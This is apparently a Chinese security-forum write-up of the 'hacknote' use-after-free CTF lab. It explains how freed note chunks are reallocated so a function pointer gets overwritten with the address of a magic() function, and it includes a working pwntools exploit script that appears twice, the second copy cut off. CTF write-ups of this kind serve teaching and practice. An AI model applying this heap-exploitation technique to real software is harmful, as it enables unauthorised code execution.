首页
社区
课程
招聘
[原创]Use-after-free之lab 10 hacknote
发表于: 2021-6-12 11:10 14441

[原创]Use-after-free之lab 10 hacknote

2021-6-12 11:10
14441

整明白之后才能明白这道题有多简单,花了我两天时间啊!!!
自己的基础知识积累真的不够
看看主函数啊
输入 1 进入 add_note()
输入 2 进入del_note()
输入 3 进入print_note()

简单分析一下
add_note()
首先看看这个notelist[]
我当时也是懵了好久不知道是这是个啥
为啥里面还有put,content
这其实是个结构体指针数组,也就是说这个数组里面放的是结构体的指针,双击一下put或者content就知道了
这个函数的大致意思就是先申请一个大小为8byte的chunk0,将其地址放入notelist[i]中
再申请自己规定字节大小的chunk1,将其地址放入第一次申请的chunk0的content中

第一次申请的8byte的chunk0的put处存放print_note_content函数地址
content处存放第二次申请的chunk1的地址

我们后面写内容是往第二次申请的chunk1中填写的

假设我们申请了一个32byte的chunk1,往里面填写'aaaa',最终会达到这样一个效果

接下来我们看del_note()
free掉了chunk0和chunk1
但是我们注意这里没有将notelist[i]里面的存放的指针设置为NULL
这也就导致虽然我们free掉了这两块chunk,但我们仍然可以对其原来所在的地址空间进行操作。
因此就会造成use_after_free
究竟怎样利用,我们先往后看
print_note()
打印函数,通过chunk0处存放的函数指针(print_note_content)打印content
其次,这里面还有一个函数值得关注magic()

话不多说,我们开始写jio本

我们先申请两个相同字节的chunk
note0和note1
然后全都free掉
chunk,注意不能是8byte,原因后面会说
例如我们申请32byte的
free掉之后我们看看fastbin
因为我的pwndbg出现了一点问题(fastbin查不到),所以我在这给大家手画一个
大概是这个样子

如果这个时候我们再申请一个8字节大小的chunk会怎么样呢
答案是首先原本的note1的chunk0会被当成新的chunk0,而原本的note0的chunk0会被当成新的chunk1
这时如果我们向新的chunk1中填写数据,则相当于将note0的chunk0更改了
例如我们这样

则note0的chunk0会变成这样
此时我们再执行print_note()就会执行magic函数

如果我们之前申请的note0和note1的chunk1大小是8byte那么fastbin就不会像上面那样排列了,所以不能是8byte

完整的exp:

如有不正确的地方,还请师傅们提出来
大家有什么问题也可以问我呀

懂我意思嘛,我向你敬礼啊!~

 
 
 
 
 
 
 
 
 
from pwn import *
 
sh=process('./hacknote')
elf=ELF('./hacknote')
 
def malloc(size,content):
    sh.recvuntil('choice :')
    sh.sendline('1')
    sh.recvuntil('size :')
    sh.sendline(str(size))
    sh.recvuntil('Content :')
    sh.sendline(content)
 
def free(idx):
    sh.recvuntil('choice :')
    sh.sendline('2')
    sh.recvuntil('Index :')
    sh.sendline(str(idx))
 
def printf(idx):
    sh.recvuntil('choice :')
    sh.sendline('3')
    sh.recvuntil("Index :")
    sh.sendline(str(idx))
 
 
 
 
malloc(32,'aaaa')    #note0
malloc(32,'aaaa')    #note1
 
 
free(0)
free(1)   
 
magic_addr=0x08048986
malloc(0x8,p32(magic_addr))
 
printf(0)
 
sh.interactive()
from pwn import *
 
sh=process('./hacknote')
elf=ELF('./hacknote')
 
def malloc(size,content):
    sh.recvuntil('choice :')
    sh.sendline('1')
    sh.recvuntil('size :')
    sh.sendline(str(size))
    sh.recvuntil('Content :')

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-6-12 11:16 被凡人_编辑 ,原因:
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//